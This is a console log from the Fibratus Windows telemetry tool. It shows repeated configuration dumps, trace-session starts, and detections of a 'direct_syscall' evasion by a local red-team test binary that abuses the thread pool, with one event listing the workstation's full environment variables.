format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] scan-timeout=>10s skip-registry=>false skip-files=>false fastscan=>true excluded-procs=>[] enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:52:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:52:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:52:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1015175 + Pid: 5800 + Tid: 19160 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:52:30.160814 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 207d5df1a80, subprocess_tag➜ 0, task_id➜ 207d5e03aa8 + Metadata: evasions: [direct_syscall] + + Pid: 5800 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:52:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:52:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:52:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:53:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:53:35+01:00 level=info msg=bootstrapping with pid 14084. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:53:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-handle=>false enable-vamap=>true min-buffers=>16 enable-net=>true max-buffers=>36 enable-threadpool=>true buffer-size=>512 enable-fileio=>true flush-interval=>1s enable-audit-api=>true enable-registry=>true enable-image=>true stack-enrichment=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 passive=>false exchange-type=>topic timeout=>5s delivery-mode=>transient exchange=>fibratus durable=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 healthcheck-timeout=>5s sniff=>false template-name=>fibratus trace-log=>false timeout=>5s flush-period=>1s enabled=>false gzip-compression=>false index-name=>fibratus] http=>[ method=>POST timeout=>5s enabled=>false enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false excluded-files=>[] scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:53:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:53:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:53:42+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1029514 + Pid: 19888 + Tid: 21888 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:53:41.6442101 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1598cb61a80, subprocess_tag➜ 0, task_id➜ 1598cb73aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19888 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:53:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:53:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:53:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:55:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:55:24+01:00 level=info msg=bootstrapping with pid 20780. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:55:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-dns=>false stack-enrichment=>true enable-image=>true enable-threadpool=>true min-buffers=>16 enable-thread=>true max-buffers=>36 enable-mem=>false enable-fileio=>true enable-audit-api=>true enable-handle=>false flush-interval=>1s buffer-size=>512 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false passive=>false timeout=>5s exchange=>fibratus durable=>false exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient] elasticsearch=>[ gzip-compression=>false healthcheck-timeout=>5s flush-period=>1s healthcheck=>true sniff=>false timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] http=>[ timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false method=>POST] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false enabled=>false fastscan=>true scan-timeout=>10s skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:55:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:55:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:55:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1041045 + Pid: 22368 + Tid: 19136 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:55:30.2606182 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2674de21a80, subprocess_tag➜ 0, task_id➜ 2674de33aa8 + Metadata: evasions: [direct_syscall] + + Pid: 22368 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:55:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:55:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:55:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:56:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:56:28+01:00 level=info msg=bootstrapping with pid 21048. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:56:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-threadpool=>true min-buffers=>16 enable-registry=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-mem=>false stack-enrichment=>true enable-image=>true buffer-size=>512 enable-thread=>true max-buffers=>36 flush-interval=>1s enable-audit-api=>true enable-dns=>false enable-vamap=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s gzip-compression=>false bulk-workers=>1 sniff=>false index-name=>fibratus enabled=>false timeout=>5s healthcheck-timeout=>5s healthcheck=>true trace-log=>false healthcheck-interval=>10s] amqp=>[ enabled=>false passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false exchange-type=>topic timeout=>5s vhost=>/ delivery-mode=>transient exchange=>fibratus] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false timeout=>5s serializer=>json] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false skip-files=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:56:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:56:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:56:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1089455 + Pid: 20156 + Tid: 21872 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:56:34.3231294 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1eb38fd1a80, subprocess_tag➜ 0, task_id➜ 1eb38fe3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 20156 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:56:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:56:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:56:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:58:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:58:26+01:00 level=info msg=bootstrapping with pid 20852. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:58:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-thread=>true flush-interval=>1s enable-fileio=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-net=>true enable-image=>true max-buffers=>36 enable-threadpool=>true enable-handle=>false min-buffers=>16 enable-dns=>false enable-vamap=>true enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text log-stdout=>true max-backups=>15 level=>info] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true enabled=>false index-name=>fibratus sniff=>false template-name=>fibratus gzip-compression=>false flush-period=>1s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s routing-key=>fibratus enabled=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic durable=>false 